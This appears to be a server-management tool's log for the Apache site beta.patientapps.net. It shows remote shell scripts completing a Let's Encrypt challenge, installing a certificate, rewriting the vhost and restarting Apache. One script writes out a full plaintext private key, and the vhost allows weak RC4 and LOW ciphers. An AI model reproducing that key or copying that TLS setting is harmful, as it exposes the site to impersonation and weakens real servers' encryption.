MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-30 11:15:09: Establishing a connection
2026-01-30 11:15:09: Establishing a connection
2026-01-30 11:15:09: 

PUT: /tmp/pkp569542

#!/bin/bash
if [ -d "/var/www/patientapps_beta/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-30 11:15:09: 

chmod 755 /tmp/pkp569542; /tmp/pkp569542; rm /tmp/pkp569542

2026-01-30 11:15:09: 


1


2026-01-30 11:15:11: Establishing a connection
2026-01-30 11:15:11: 

PUT: /tmp/pkp184961

#!/bin/bash
mkdir -p "/var/www/patientapps_beta/.well-known/acme-challenge/"
cd "/var/www/patientapps_beta/.well-known/acme-challenge/"


2026-01-30 11:15:11: 

chmod 755 /tmp/pkp184961; /tmp/pkp184961; rm /tmp/pkp184961

2026-01-30 11:15:11: 




2026-01-30 11:16:35: Establishing a connection
2026-01-30 11:16:36: Establishing a connection
2026-01-30 11:16:36: 

PUT: /tmp/pkp120879

#!/bin/bash
if [ -d "/var/www/patientapps_beta/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-30 11:16:36: 

chmod 755 /tmp/pkp120879; /tmp/pkp120879; rm /tmp/pkp120879

2026-01-30 11:16:36: 


1


2026-01-30 11:16:37: Establishing a connection
2026-01-30 11:16:37: 

PUT: /tmp/pkp461283

#!/bin/bash
mkdir -p "/var/www/patientapps_beta/.well-known/acme-challenge/"
cd "/var/www/patientapps_beta/.well-known/acme-challenge/"
cat > p-E7T_aN59dOuFQOf_VufNHkeLrNxt5Sm95qA4nBR-8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
p-E7T_aN59dOuFQOf_VufNHkeLrNxt5Sm95qA4nBR-8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 p-E7T_aN59dOuFQOf_VufNHkeLrNxt5Sm95qA4nBR-8


2026-01-30 11:16:38: 

chmod 755 /tmp/pkp461283; /tmp/pkp461283; rm /tmp/pkp461283

2026-01-30 11:16:38: 




2026-01-30 11:16:41: Establishing a connection
2026-01-30 11:16:42: 

PUT: /tmp/pkp599659

#!/bin/bash
mkdir -p "/var/www/patientapps_beta/.well-known/acme-challenge/"
cd "/var/www/patientapps_beta/.well-known/acme-challenge/"
rm p-E7T_aN59dOuFQOf_VufNHkeLrNxt5Sm95qA4nBR-8


2026-01-30 11:16:42: 

chmod 755 /tmp/pkp599659; /tmp/pkp599659; rm /tmp/pkp599659

2026-01-30 11:16:42: 




2026-01-30 11:16:42: Establishing a connection
2026-01-30 11:16:42: 

PUT: /tmp/pkp413510

#!/bin/bash
temp_file=$(mktemp)
TARGET=8f796e4f4515bc3385e2df3b120b1cc8

cat > $temp_file <<'endmsg'
cc:09:79:2e:45:a9:e9:1e:6b:b5:d5:67:43:b1:69:ef

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBSBLwQTdJf6wE4R9YjhVZJm6MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTMwMTAxODEwWhcNMjYwNDMwMTAxODA5WjAfMR0wGwYDVQQD
ExRiZXRhLnBhdGllbnRhcHBzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBAJQiU/k8Y46m3qd3pl8CWBgYYeAbHkI5kpTCTdH0EbCNH5QzrOahcF7H
nAh1faVHv6gTmS3tSjVdXnHAEzIpl0/JgDN/fB3CB0Tzebz7GRNlluWpA/MJjAuY
ZejJ81jGhfbvB6qb94JhVzJmwB6emxT9q1T7pI90FeWNqHX5qNfZ06Aen6qZ/j8n
K0TzjmoPLivNNwO12M1MHaWmAZAyXiRdTVFqAqToPWC2/oGbxRi5X4k+5FxWRUj/
PEDjbb0DjJmsVhfGQz/LQNDY9K93UCUnARol/zeDkP2F2ynK1L9RWM2HzE0H8vPQ
C9fGb6gS5Gu0c9vdGZ/ykfPhYxr+a9kCAwEAAaOCAiwwggIoMA4GA1UdDwEB/wQE
AwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIw
ADAdBgNVHQ4EFgQUZwQhhlxFwMPx/SKX+prI8ckrC5IwHwYDVR0jBBgwFoAU56uf
DywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdo
dHRwOi8vcjEzLmkubGVuY3Iub3JnLzAfBgNVHREEGDAWghRiZXRhLnBhdGllbnRh
cHBzLm5ldDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1o
dHRwOi8vcjEzLmMubGVuY3Iub3JnLzU5LmNybDCCAQwGCisGAQQB1nkCBAIEgf0E
gfoA+AB2AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAABnA6emOsA
AAQDAEcwRQIgDzEq4lNrqq1HFNt4XH04Xzuptkwq/OE0cpiw0/tjDIgCIQDiJ+YQ
JCiBFcBkOKLSuUGtH50hJh/U40UJdo4ko3zp5wB+AOMjjfKNoojgquCs8PqQyYXw
tr/10qUnsAH8HERYxLboAAABnA6em7QACAAABQAw9PgUBAMARzBFAiEA16iCBRXo
4ydxyoExnbe8JqL9ihxtUkvpl2+4Y0ZtmwICIC7+C4b/2sSIVPpd9IE3esmKzXL6
Pf+16Ffg8WNMJm2lMA0GCSqGSIb3DQEBCwUAA4IBAQBRTQEnYMhu4athDZ883ml0
CzVYG9geMawE3srkQrbLoPkjm14EB9CRH8cwPETW0zEUzJdAUpNS2s4CqHXmuilM
POCp+Bpo293aGqE+FtFYjriZb9+uRIcZiQPEMIVULaZuSS01M5TKHZlNdS09vQWV
ppJeHZHPhVDMQbVE7+C1QU03TGlIXz3LBsrthXjmcSsMPOZJ+vqi6/Pbub2FNIRw
QpUpVnlHwPoaIcyfByqTGS5hRvoWvPVlELJ4YuQClKJfGszcgEwFMt+SltbZ4/gK
i2/LzHI+XXMUKWw4BgkvUt3gdgGG6WSeiw7ujl3+VVldB41jbqS3TZEQIhNdMyPh
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCUIlP5PGOOpt6n
d6ZfAlgYGGHgGx5COZKUwk3R9BGwjR+UM6zmoXBex5wIdX2lR7+oE5kt7Uo1XV5x
wBMyKZdPyYAzf3wdwgdE83m8+xkTZZblqQPzCYwLmGXoyfNYxoX27weqm/eCYVcy
ZsAenpsU/atU+6SPdBXljah1+ajX2dOgHp+qmf4/JytE845qDy4rzTcDtdjNTB2l
pgGQMl4kXU1RagKk6D1gtv6Bm8UYuV+JPuRcVkVI/zxA4229A4yZrFYXxkM/y0DQ
2PSvd1AlJwEaJf83g5D9hdspytS/UVjNh8xNB/Lz0AvXxm+oEuRrtHPb3Rmf8pHz
4WMa/mvZAgMBAAECggEABbaDNZACKOy/lobTSEO/YQKDt9Bj7Nrqj8kkli3LBtuS
dbU+fFCKlGUvW9YoJ9kqB5Hl7PMDUyaML2fgdaVL/BxB0PqgL0ed3ydisQqgD3Ly
DF5l1BgwqfvRJlavh2N0pC7YxVgphgI6CiwTSbsFMRyNYIQp9wxbkdRSRGaB//0M
EQyQYbzr+XvvaOP+LUxqjyasrLpf4jOgmpC59PGYPd5O/9m4hIHC5r4E49QUA5sO
5IFizI5Jn62MuOu36UqE/1iEcoXqB2YibrAiE+QLUi5+UsbVl5YuEjAdLEZBdsdt
rg2UMZya0EPUwnWypbCsWizDvGrwHtovNUVTMTRRGQKBgQDQ60ad9e7WSJDW5+6O
e63b7I8cMyoItINTjFgUdJDMux4eQH0N9VgyuTFICwJ0SqM5ZM2JjaQTrclBuuIJ
CLzUsEnNxADX3MnRRmaepya5C5DyKQL/Rdf36T43xqTzXby+3wpL596gVVouEz55
aGot9Xy0kTD6yilj0BE+GxFcrQKBgQC1hFCLOKn4RGJHhIfnpMlbNDq6tEhLZ5Vo
FdPF8Zefi1MMnOFfNyf6zYM3xSY4YGL5eAarfMw0v+jPEyc9m13vLT6ywww2iNG/
RU/5JqM30VZmUwN2Z+Tb8PaFuMrZ1PS5ybJ/64maPcS2/xQhdVvVHbuUbeb2sk4P
qEqnTQ3lXQKBgEQTVihkmdWzQZb1blN5U5alB6DtvxWlFGHmClFoBkLf+hlrdBRX
TM0CcV+DTuJr67Ho+dyHjd5ns3u6lKrS8QzxAKuO4aN1K0IJCalK2CBV934hBPv/
WzdKBl8QWHGAqt8bOHSxcmaWSVNYK/RNpMOjCWahJO+jbkc65lNxaH/lAoGAUxDM
5xk0NyfcLcxJgUkY2ELriVtNJiyt46bxdckcUOeqRsBYJoGQKyb3IIN4/R2mzXEO
5FVFAfK8sF6ce4XpE7YJ1jaKFT7BdZ1bfrIeyUFkH4lnsTzUL45y0jkBo3Pf1lGl
/QIlw073AaNza+hP8RQdLkypAEYSkPm7yBnr/QUCgYEAzPnkcqTWzB9rxKs6njeW
TsrH+zEqw1yJZNWwQzDcPl+OtctRtKXzionAtuH+X/cIZ5Hb9nI50anR60vUkuPN
tUkCkhP16ezPjqQjX2N2SCpwQi7HUD1zO6qUqxBuvNRNu4B4mF5Y6bSZJfW/bhDC
N/d8cUqaatWXEBqA/+TpPWE=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-30 11:16:42: 

chmod 755 /tmp/pkp413510; /tmp/pkp413510; rm /tmp/pkp413510

2026-01-30 11:16:42: 


dir=/etc/ssl/certs


2026-01-30 11:16:42: 

PUT: /tmp/pkp638806

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_beta_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-30 11:16:42: 

chmod 755 /tmp/pkp638806; /tmp/pkp638806; rm /tmp/pkp638806

2026-01-30 11:16:42: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_beta_net.conf 44
<VirtualHost *:80>
    ServerName	beta.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_beta
    <Directory /var/www/patientapps_beta>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/beta_access.log combined
    ErrorLog	/var/log/apache2/patientapps/beta_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    SetEnv build	beta
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	beta.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8
    DocumentRoot	/var/www/patientapps_beta
    <Directory /var/www/patientapps_beta>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/beta_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/beta_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnv build	beta
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>






2026-01-30 11:16:42: 

PUT: /tmp/pkp466938

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_beta_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_beta_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	beta.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_beta
    <Directory /var/www/patientapps_beta>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/beta_access.log combined
    ErrorLog	/var/log/apache2/patientapps/beta_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    SetEnv build	beta
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	beta.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8
    DocumentRoot	/var/www/patientapps_beta
    <Directory /var/www/patientapps_beta>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/beta_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/beta_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnv build	beta
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_beta_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_beta_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_beta_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_beta_net.conf= 1'
fi


2026-01-30 11:16:42: 

chmod 755 /tmp/pkp466938; /tmp/pkp466938; rm /tmp/pkp466938

2026-01-30 11:16:42: 




2026-01-30 11:16:42: 

PUT: /tmp/pkp547409

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-30 11:16:42: 

chmod 755 /tmp/pkp547409; /tmp/pkp547409; rm /tmp/pkp547409

2026-01-30 11:16:42: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-30 11:16:42: Establishing a connection
2026-01-30 11:16:43: 

PUT: /tmp/pkp661417

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-30 11:16:43: 

chmod 755 /tmp/pkp661417; /tmp/pkp661417; rm /tmp/pkp661417

2026-01-30 11:16:43: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
